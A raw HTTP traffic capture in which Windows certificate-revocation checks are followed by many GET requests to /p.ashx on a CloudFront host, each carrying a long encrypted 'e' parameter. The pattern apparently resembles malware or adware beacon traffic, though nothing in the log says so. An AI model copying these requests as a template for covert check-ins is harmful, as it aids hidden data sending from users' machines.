If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT

If-None-Match: "a2f3ff97eeecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com




HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Thu, 23 Oct 2014 05:05:32 GMT

ETag: "a2f3ff97eeecf1:0"

Cache-Control: max-age=900

Date: Wed, 17 Dec 2014 16:45:30 GMT

Connection: keep-alive
....


GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT

If-None-Match: "3e1c83923e1cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com




HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Mon, 06 Oct 2014 05:06:02 GMT

ETag: "3e1c83923e1cf1:0"

Cache-Control: max-age=900

Date: Wed, 17 Dec 2014 16:45:30 GMT

Connection: keep-alive
....


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT

If-None-Match: "58cddbea90dfcf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com




HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Sat, 04 Oct 2014 05:06:12 GMT

ETag: "58cddbea90dfcf1:0"

Cache-Control: max-age=900

Date: Wed, 17 Dec 2014 16:45:30 GMT

Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/pkix-crl..Last-Mo
dified: Sat, 04 Oct 2014 05:06:12 GMT..ETag: "58cddbea90dfcf1:0"..Cach
e-Control: max-age=900..Date: Wed, 17 Dec 2014 16:45:30 GMT..Connectio
n: keep-alive..


GET /p.ashx?e=j7YMo/n29XMqqDJt46TNcYcg35BtfIaeXAxlnwpFmKiMDmRWpWBZ0CAvELRpepitKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG4u3oGHN86wMFedaS6HkvNpR90anDedSCUX3PRbKmecay2eGRx58JVeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:35 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ApAQTXpNDWCFrkJ-6GDEpL-IvelPphn3CSdglXC3O9MqjLgpY5pKJA==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p8WSLCRTqxWxi4tAgI dBfRKYX3Ti/i3YPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmpfKN5cOwkwmqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:28 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fd3FTAHaxCePXJdczfbEpSgrZnYvHT0lYdVrWZDHzYW9jzLbLJblkA==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p/b8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqmoSwUHtq20zGrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUmu70Zn8oNJ1F18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH RaqEz5fUGu62n HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:28 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: p2lJxFxPAqqBV9urxHL5CugVmgdgfec0FkoWOXimLw3UDQr48cp7MQ==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p9DLf  a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHJqY2fWTNFLz HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:36 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9S10kjd-mdb3VikBTSeqkzZvKsZziJxCdQ59Nh1YL0sScCrWYf4-OA==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p/HmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrm4sJi/93Urb HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net



GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p YSQXKBzk9X6XwtLXz/thLs IILilpWF2K9RwxiUwM40WlOV1/Fwps4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1ByamNn1kzRS8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net



GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p/WdlP5RfIHxwTxIUcsgQ w6K306ymsAKF2fYaHzpAWqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:36 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: n8bgOCO97Fg638x0oHa_1MkqjMi8E3Jnyx8PQHy6TEhDDn2A1uK-Bw==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p8eMZiMaXQ3mwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H2IKApd1PLp3Y6f98gm7saKMhRptWjULtRfzcBrRIr7Ihb2eiG02LDB HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: z5QSkMrmuPR45J6kfBaYCYLO-yR6PAwgrMCHA_yHJYXnXQXq4ZrS0w==
....


GET /p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaE9yUCqErzGmATxIUcsgQ w232AJ3j TD6Kbmw8PKJQLPjZXu6Hs6 2B1mHf78MaJ/HnXhYKKFGG/tmSqlaZjCZujn/aHBplicf/A9tnzJAkTVcL53uMd8Iw1AZZY6ZilPCJ PEul3tvEVIsnpzFFnZ1V4Hek0AV9k32wH3ZNkBKlfbDca4SwBvUUrZ RbO4BdX2w3GuEsAb/Lz5gk8LZkHnyAtpD5T D9r8aUNXVhPTwFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84TCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFUDiwB0PpNGoA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:37 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9CNB6f7DWJdKOSkIPDhDW_BYvd1O9c7iAo0dHuSdDDQ_zalput-pGg==
....


GET /p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wQ1V8jD1/9CmtYGP8lbxXf8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfYgoCl3U8undjp/3yCbuxooyFGm1aNQu1F/NwGtEivsiFvZ6IbTYsME= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 57WNz3HJ4HJuRFPyFK8VoWaWss6Vzzqqlm5mUQPZ3abW1p_svSpj2A==
....


GET /p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaHFcCX3EQ9YUkJQv83eyjojkOB3v7aTq0ErWxcpBkHhSQ3kCpSb73om1nmEvUc ryeF5IMyDyCMh3/v8/JBpkC7em54XLgH5JZxoDbvqsW3 yGap/Piob7  3hNKfF7td861kGoV/tuxXziHY hF8IrqBRAyNRsAq7kA1vSAoBV1baWvEXwZH Oteo22dEcMDgGQnzhNaSY3uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zc7que1q39fHAlLen0G3hWl7JgCgPdx8fduGH9wshNQcmpjZ9ZM0UvM= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: A0eqDSPBu43bXSB7HORqL2D8efvU6NnsImVpoFufCLjUPxFP9Zsr1g==
....


GET /p.ashx?e=hWfaA75NtHF4HRn2UIUeHoY7GDFl7kWr7OXLse4BafTbQC nVTu53h5TX6K4Kv025qQw5cISbJBF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rav9CkIMO2RQPKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG333RAvM0VMCx2KlVs8m8LqSlVGmgAnwDDNmmGug8UNw  XDFelAxYveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIZnY321CP6rQO0RY/50MunDWE/Jh0JbeL0PvHjsxZ9UpBIU06BVWf0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:37 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: y3xOCe2tbZhwUaDtFhkmjLaJL--XweHRHfaNv3hCCm_qUg6MiiPTLQ==
....


GET /p.ashx?e=1ZEnpGuz/ISMcHmf61T/gCWqRVUESB2Pa2xedccZGEN4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSUu2F7cTkckXyw2dOqRz0VTJIBlhaXll/jgb6v7cXpPsHbyM38hHidfR Y3Dbv62WGBr9STKmws28 D6fz9MQVWJDAuS25qW3Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl65uLCYv/d1K2w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GefH-V80kfQ_qoWDPV8pRsH6JT2qoOPbMa9CH2hUWkO9gSldworufw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:29 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 afbd195d23ca809c251a7455baddae
14.cloudfront.net (CloudFront)..X-Amz-Cf-Id: GefH-V80kfQ_qoWDPV8pRsH6J
T2qoOPbMa9CH2hUWkO9gSldworufw==......


GET /p.ashx?e=FwW11b 20b7l5P4ZQPu3v4mZ0XWQ5XaN1VMaOJFqXYpm5LT87ehXavGh154/D7lxqMllLKkwzRiwtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hHwF8xC533FcNLVXkHqu5mvKn RBjxLR3BlCn7LyxL9SGK5E2bFODYZiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkZtQFdZJbneATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:30 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gGjFkrnE-E0Z9E-kqUfhMJx5wJhLlJKUHOdCMIgGz5c5gTjAxF0tsA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:30 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 afbd195d23ca809c251a7455baddae
14.cloudfront.net (CloudFront)..X-Amz-Cf-Id: gGjFkrnE-E0Z9E-kqUfhMJx5w
JhLlJKUHOdCMIgGz5c5gTjAxF0tsA==......


GET /p.ashx?e=2v0SNuZrMFzU0UsIWSR1jbkjoxTNA4Rp7OXLse4BafTbQC nVTu53h5TX6K4Kv025qQw5cISbJBF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rav9CkIMO2RQPKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG54ebh5tiGXdNM7iWe50KMgf1dP3VNJ83cZf1o/WdVNO9vyw1Tl9NEgnOXXOmQPky2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84TCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFUDiwB0PpNGoA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:38 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WyVYulVWUbkpriTrmkRsXOoWhDPWtGIetdSHJ_knEcW-t6ud4Q2ZtA==
....


GET /p.ashx?e=2v0SNuZrMFzU0UsIWSR1jbkjoxTNA4Rp7OXLse4BafTbQC nVTu53h5TX6K4Kv025qQw5cISbJBF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rav9CkIMO2RQPKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG54ebh5tiGXcmyeS/0faBVXvKbjUyzCCcFAL52sIXt4VbiL0cN8AfFKoHgrZwASXAZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl65uLCYv/d1K2w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:38 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2Pk-jH0UUF2fQVlin8YbzQ4HuESM133hwSzTc5VeHKjw06t_2rDkCA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:38 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 afbd195d23ca809c251a7455baddae
14.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 2Pk-jH0UUF2fQVlin8YbzQ4Hu
ESM133hwSzTc5VeHKjw06t_2rDkCA==......


GET /p.ashx?e=4mC0vXGWFtpeSST1IgI2iCWqRVUESB2P7ZTHYXaLDVh4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSMLdX5s 5V6ZWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YPItgpdVwHhRYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS4pPO0Kry3XMsLUtbwE6VCqQ6c6qhfBhigsBNjG75SdwwdrEePnF oQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:42 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: x_NUJiNadzAXdP1MoRRprHI-uEj6pM52AzKyZ5G2yEcWqa9vnSh8tQ==
....


GET /p.ashx?e=4mC0vXGWFtpeSST1IgI2iCWqRVUESB2P7ZTHYXaLDVh4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSMLdX5s 5V6ZWOvghCBTr/TdVMo67fxO0s IILilpWF1BbRAuIV9iXXYr2tHNYnceKgTrWDcBRpLG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H2IKApd1PLp3Y6f98gm7saKMhRptWjULtRfzcBrRIr7Ihb2eiG02LDB HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:35 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qfBmkecQtIFnFikciuNrk-aT61ML57H3mmGgQxcPCSiL_puAI9HbGQ==
....


GET /p.ashx?e=4mC0vXGWFtrPpyTTOfle7LBz5mjUTX/ToKZCsxhDdVP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRolUWG0SomUHzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrp1Dx2npCblDSOrYhj46XfSN3eDzt50Mz2ayCyvKbZIX7o/ufEN2dGTfV9OCtHXZfA3mXJEY39mHAhwsRGINruh3JLgG5QML1ZiKaU9wneZ7/w7qwEh1P5w7s3nxyonjvBxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoCIeP633Hrg0tD7pryhrC3L6uN9Kjt Am94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcshmdjfbUI/qtA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1SkEhTToFVZ/Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:41 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fiKCzpjGz63y6k85CKW4217SCzGEQ8gPkI0WUGCxznjwsVeXBwmvfw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:41 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 afbd195d23ca809c251a7455baddae
14.cloudfront.net (CloudFront)..X-Amz-Cf-Id: fiKCzpjGz63y6k85CKW4217SC
zGEQ8gPkI0WUGCxznjwsVeXBwmvfw==......


GET /p.ashx?e=QHucCbLl /ax1kvX9v50CCNxWvDGxmt3/WD6e6SZIIExLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC1vTLI4Bf0k1 b/YhL9w2PQPCBnswTHyvqUyy/Grac7sz9GdXwkjcG2FzoNt4Ofsjzs1eJiiYYwojgb6v7cXpPu7w RGhL4bCY2Z9PSNwdgjh7xDRHKvaar4GBMyP4VTARxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoCIeP633Hrg3WfJzMGPDBlO/8VxkpRT81NdTeugB sfTiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHJqY2fWTNFLz HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:10 GMT

X-Cache: Miss from cloudfront
